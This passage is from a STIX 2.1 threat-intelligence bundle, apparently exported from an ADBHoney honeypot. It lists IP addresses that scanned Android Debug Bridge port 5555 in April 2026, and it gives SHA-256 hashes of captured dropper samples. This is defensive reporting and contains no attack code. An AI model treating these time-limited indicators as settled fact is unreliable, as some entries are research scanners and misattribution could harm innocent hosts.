          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-17T17:27:26.000Z",
          "last_seen": "2026-04-17T17:29:06.188Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-17T18:30:42.000Z | last_seen=2026-04-17T18:40:53.112Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--78f24f92-2a2e-49c1-b201-9c1254304cd5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.232.94.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T19:00:03.000Z",
      "valid_until": "2026-05-19T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-17T18:30:42.000Z",
          "last_seen": "2026-04-17T18:40:53.112Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=93 | first_seen=2026-04-17T19:51:22.000Z | last_seen=2026-04-18T14:51:49.042Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--3f14ef48-ffff-4b15-9335-dc1083f170ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:00:03.000Z",
      "valid_until": "2026-05-19T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 93,
          "first_seen": "2026-04-17T19:51:22.000Z",
          "last_seen": "2026-04-18T14:51:49.042Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T21:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=AE; asn=209373; asn_org=Swissnet LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-17T20:13:34.000Z | last_seen=2026-04-17T20:14:40.133Z | ports=5555 | cc=AE | asn=209373 | org=Swissnet LLC",
      "id": "indicator--fd8e673e-3364-41c0-aac1-2f6d859c23f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:00:19.000Z",
      "valid_until": "2026-05-19T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-17T20:13:34.000Z",
          "last_seen": "2026-04-17T20:14:40.133Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "209373"
          ],
          "org": [
            "Swissnet LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T21:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-17T20:50:17.000Z | last_seen=2026-04-17T21:00:22.401Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--2819bfde-faf7-4e1d-bff4-28b4d10455c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:00:19.000Z",
      "valid_until": "2026-05-19T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-17T20:50:17.000Z",
          "last_seen": "2026-04-17T21:00:22.401Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T21:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-17T20:50:19.000Z | last_seen=2026-04-17T21:00:32.378Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--7121adad-2c08-49a1-a967-798de977b2de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:00:19.000Z",
      "valid_until": "2026-05-19T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-17T20:50:19.000Z",
          "last_seen": "2026-04-17T21:00:32.378Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T21:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-17T20:48:31.000Z | last_seen=2026-04-17T20:49:33.408Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--8d446abe-79a0-49e6-acae-dc7c40524f44",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:00:19.000Z",
      "valid_until": "2026-05-19T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-17T20:48:31.000Z",
          "last_seen": "2026-04-17T20:49:33.408Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T22:00:24.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-17T21:42:39.000Z | last_seen=2026-04-19T23:04:01.061Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--d5861336-694d-47f8-96d0-31aa01deefd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:00:24.000Z",
      "valid_until": "2026-05-19T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-17T21:42:39.000Z",
          "last_seen": "2026-04-19T23:04:01.061Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T22:00:24.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-17T21:16:03.000Z | last_seen=2026-04-17T21:17:10.819Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--1d925850-0ee5-4c8b-9342-1185ac885c64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:00:24.000Z",
      "valid_until": "2026-05-19T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-17T21:16:03.000Z",
          "last_seen": "2026-04-17T21:17:10.819Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=44 | first_seen=2026-04-18T02:11:54.000Z | last_seen=2026-04-23T03:24:57.182Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--cfd2ac42-98e2-4ffd-ad63-47c48fd33713",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:00:03.000Z",
      "valid_until": "2026-05-20T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 44,
          "first_seen": "2026-04-18T02:11:54.000Z",
          "last_seen": "2026-04-23T03:24:57.182Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-18T02:08:56.000Z | last_seen=2026-04-18T02:10:06.235Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--112f596d-0fbc-4279-b865-d8bd1ce927c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:00:03.000Z",
      "valid_until": "2026-05-20T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-18T02:08:56.000Z",
          "last_seen": "2026-04-18T02:10:06.235Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-18T04:24:20.000Z | last_seen=2026-04-18T04:34:26.516Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--8dd77e3b-a460-4e05-b7a7-7388cea4d6be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '1.27.208.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:00:03.000Z",
      "valid_until": "2026-05-20T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-18T04:24:20.000Z",
          "last_seen": "2026-04-18T04:34:26.516Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T07:00:24.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-18T06:02:39.000Z | last_seen=2026-04-18T06:13:45.441Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--3f735c4e-6fab-4ac6-974e-98255cb7a0ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '162.216.150.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:00:24.000Z",
      "valid_until": "2026-05-20T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-18T06:02:39.000Z",
          "last_seen": "2026-04-18T06:13:45.441Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T11:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-18T10:22:03.000Z | last_seen=2026-04-18T10:32:13.440Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:00:10.000Z",
      "valid_until": "2026-05-20T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-18T10:22:03.000Z",
          "last_seen": "2026-04-18T10:32:13.440Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T11:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-18T10:21:06.000Z | last_seen=2026-04-18T10:22:12.318Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--98d72694-c197-4836-85cd-60961c5e482b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:00:10.000Z",
      "valid_until": "2026-05-20T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-18T10:21:06.000Z",
          "last_seen": "2026-04-18T10:22:12.318Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T11:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/064fc04504e868ec0f453d426b77a25fdeaeda9abb9dc72ec5dcede19bdf157f.raw; last_seen=2026-04-18T10:31:42.728Z",
      "id": "indicator--0c0a0934-74be-4928-a002-a96ef794af68",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '064fc04504e868ec0f453d426b77a25fdeaeda9abb9dc72ec5dcede19bdf157f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T11:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/16aca11323d8bb11a76352e9385a808925492c0e06d4fa9b240f4a130e1e85c3.raw; last_seen=2026-04-18T10:31:41.611Z",
      "id": "indicator--a2c25ed9-e9a7-4809-a5ea-3e6a66f140b2",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '16aca11323d8bb11a76352e9385a808925492c0e06d4fa9b240f4a130e1e85c3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T11:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/8ce0d00d3e6f03a3d44a605a331ada378787c2518e41945695494d0c84aa19ec.raw; last_seen=2026-04-18T10:31:40.496Z",
      "id": "indicator--bbfe1f7e-cd81-474c-93cb-3fa65a7bebb6",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '8ce0d00d3e6f03a3d44a605a331ada378787c2518e41945695494d0c84aa19ec']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
